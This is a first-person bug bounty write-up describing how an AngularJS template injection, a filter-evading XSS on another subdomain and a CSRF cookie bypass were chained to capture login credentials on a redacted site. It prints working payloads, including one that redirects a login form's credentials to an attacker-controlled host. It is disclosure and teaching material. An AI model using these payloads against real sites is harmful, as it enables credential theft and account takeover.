Once upon a time in far, far hackalaxy…. there was a login form built with angular. This story is about how I managed to steal credentials using Angular template injection, post-based XSS, and CSRF protection bypass. I can’t disclose the real target so I call our target redacted.com.
Angular template injection
I’ve visited https://subdomain.redacted.com and Wappalizer told me it’s built with Angular 1.8.2. There is a login form on the main site which I tested against angular template injection. I put {{7*7}} as login and xxx as password and after pressing the login button I saw 49 in the login field. I had an angular template injection. Good. It was time to check for XSS. I looked around and found the following payload for Angular 1.6+.:
{{constructor.constructor(‘alert(document.domain)’)()}}
I put it as a login, clicked the button and the alert popped up. Hurray! So far so good. But I’ve got only self-XSS. Not much useful.
Bypassing CSRF – transforming self xss to post-based xss
This was a POST form so what I could try here is to get POST-based XSS. I copied the form to a local file and tried to post it but the error occurred.
I noticed the RequestVerificationToken field in the form.
<input name=”__RequestVerificationToken” type=”hidden” value=”wdvSsmrUEwOgqYbVXhGVM9QrRvuJ6Q1qECY0IdLheg_BZBi-nKix0KmO4Hhc3qsN7PLKR3S7_ruvTh9Zm7RCiuo2jntoBNGjkAQ0_LGj8T81″ />
That was the cause of failure. The CSRF token was protecting the form. I tried several common bypasses but end up with nothing. Ok. I analyzed the POST request while submitting the form and I saw another RequestVerificationToken, this time sent as a cookie.
__RequestVerificationToken_L2HvYbluXTkr:S6X0D6jm1iP_Mu7srWO2srOcPW36oxZcrc2q8j6b1Ts_PeB3wxLteCsZdWE
As we can see the application was built with ASP.NET. This token was different from this on the form. After some time of playing with both tokens, I figured out I need to set the form token as well as the cookie token respectively. I came up with the following scenario:
1. I use PHP curl to fetch the website source code to extract both tokens from the cookie header and HTML source.
2. I create the form with injected stolen CSRF token (form token) and angular template payload
3. To set the cookie token I need XSS on some redacted.com subdomain, which will set the cookie like this:
document.cookie=”__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; path=/; domain=.redacted.com”;
As site B can’t set cookies on site A, the cookie set with domain .redacted.com will be accessible from all other redacted.com subdomains – also from our target subdomain.redacted.com.
4. After setting the CSRF cookie with another XSS, I return to my attacking script and submit the actual form running angular XSS payload.
5. Spoiler: Yep it has worked 😀
Bypassing the XSS filter to set the CSRF token cookie
I had difficulty finding valid exploitable XSS however after not so short time I found one. Let’s call it xsssubdomain.redacted.com:
https://xsssubdomain.redacted.com/somewhere/file.cfm
This was also POST-based XSS, however, this time the form was not protected by a CSRF token and no WAF was in place. However, there was XSS filter protection. The form consisted of multiple parameters, I focused on the first one – address and started playing with burp requests. I noticed that I can inject some HTML content without problems:
The h1 header rendered on the site – successfully injected HTML. Now I tried to inject an image tag, but I failed. There was some kind of filter in place:
Both img tag and src attribute were cut out. Now I tried with script tag payload. The “Invalid Tag” was detected:
I figured out the filter works in a blacklist way, removing some tags or events. So I decided to look for ones that are not blacklisted. To do that I copied all the tags and events to txt files from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet. Then I used the great Turbo Intruder plugin for Burp by James Kettle. I use Burp Community Edition, so the standard intruder is pretty slow there. That’s why I used the one on steroids :). I gathered all accepted tags. Then made the second round, this time looking for the events. The goal was to find such a combination of them that I could build the XSS payload. The onauxclick event was whitelisted so I managed to build the first working payload:
XXX” onauxclick=document.write(document.domain)
As the injection was inside the input tag, this payload required user interaction – click with the right mouse button on the input. It worked but it was not what I wanted – which means no user interaction. I was looking further and found that video tag and oncanplay event are whitelisted also. So I tried this payload:
And I ended up with:
Damn. The whole tag was cut out. I started playing with magical %0d,%0a, and %09 ASCII codes which are respectively CR, LF, and TAB to bypass the filter and it worked 🙂 Putting %0d fooled the filter and what I got was:
To make it work I needed the valid mp4 file as the javascript code executes if the movie can be played. I created a very short mp4 video with the tool https://clideo.com/ and put it online, suppose here: https://myserver/video.mp4. I added the autoplay attribute to make the video start playing at once. Then I used the video URL in the payload and… another surprise:
The HTTP part was cut out. Grrrr… Fortunately, I could write the same URL as //myserver/video.mp4. This was not cut out, so I started to develop the final payload which was about to set the cookie:
XXX”><video autoplay oncanplay%0d=%0ddocument.cookie(“__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; domain=.redacted.com; samesite=none”)><source src%0d=”//myserver/video.mp4″ type=”video/mp4″></video><!–
I added <– at the end of the payload which makes the exploit a bit faster. The response was pretty shocking.
Where the hell is the video tag I asked myself!!!! After another long while, I figured out that the name of the cookie was the problem. This must have been some other protection filter in place. If I set the cookie name to ‘__RequestVerification’ the payload worked and the response was ok. If I only add one character to the end of the cookie name such as ‘__RequestVerificationX’, the <video> tag was cut out. I tried all “magic” char sequences again but nothing worked :(. After a short break from working on the problem… eureka. The “__RequestVerificationToken_L2HvYbluXTkr” string was in a javascript context – the parameter of document.cookie method, so how about string concatenation:
“RequestVerification”+”Token_L2HvYbluXTkr”
And guess what? It worked like a charm :). Some chars should be urlencoded into, so the final working payload was:
XXX”></td><video autoplay oncanplay%0d=%0d%27document.write();document.cookie=”__RequestVerification”%2b”Token_L2HvYbluXTkr=TOKENVALUE;domain=.redacted.com;path=/;samesite=none”;document.location.href=”//myserver/POC.php?ret=1%26rvtf=FORMTOKENVALUE”%27><source src%0d=”//myserver/video.mp4″ type=”video/mp4″></video><!–
It does the following things:
- clears the screen as the xss site might be visible for a fraction of second
- sets the RequestVerification cookie via XSS on xssubdomain
- redirects back the user to the attacker’s POC script
Stealing credentials from subdomain.redacted.com
The angular-based XSS was placed inside the login form. I don’t know If I could steal the session cookie with it from the authenticated user as when the user is logged in, he does not see the login form. Besides, I don’t have an account on the site to check it. I figured out I can put the payload which steals the credentials from the form as the user is logging in. This time the login and password are sent to the attacker’s script, stored somewhere in the file, and get back to the real site. So from the point of view of the victim, he/she just made a mistake, maybe mistyped the credentials.
At first, I tried to send the credentials via ajax request – it was obviously blocked by CORS. The second attempt was to send them by putting img.src object into the payload sending them via image loading. It worked in some other cases, however in this case it did not. In the response, I got NS_BINDING_ABORTED in Firefox. I have no idea why. The simplest solution I figured out was to change the action attribute of the form and instead of sending the form data to the target site, it sent it to my poc.php script. I had to encode apostrophes into HTML entities to be able to put the payload as the value. The final payload was like this:
{{constructor.constructor('$(“div.validation-summary-errors”).hide();$(“input[type=submit]”).click(function(e){$(“#loginform”).attr(“action”,”//myserver/poc.php”);})')()}}
It does two things:
- hides error messages while executing template injection
- changes the target of an action attribute to the poc.php script
The poc.php script received the credentials, stored them in the file called stolen_credentials.txt, and redirected the victim back to the original login form.
The PHP code of the POC
This is the code I used to chain all the vulnerabilities together. Sorry for the spaghetti. It’s just an exploit :).
The post-based XSS was out of scope in this program. I knew it from the beginning, however, took it as a challenge and was hoping to be in scope as I am showing an account takeover vulnerability here. Unfortunately, after a long time spent explaining my point of view, the report was closed as N/A anyway 🤷.
Update: after looong time discussing this issue with triagers, the company reviewed the report again and the risk of this vulnerability was estimated as high 🙂
Reward : $$$
See you next bug 🙂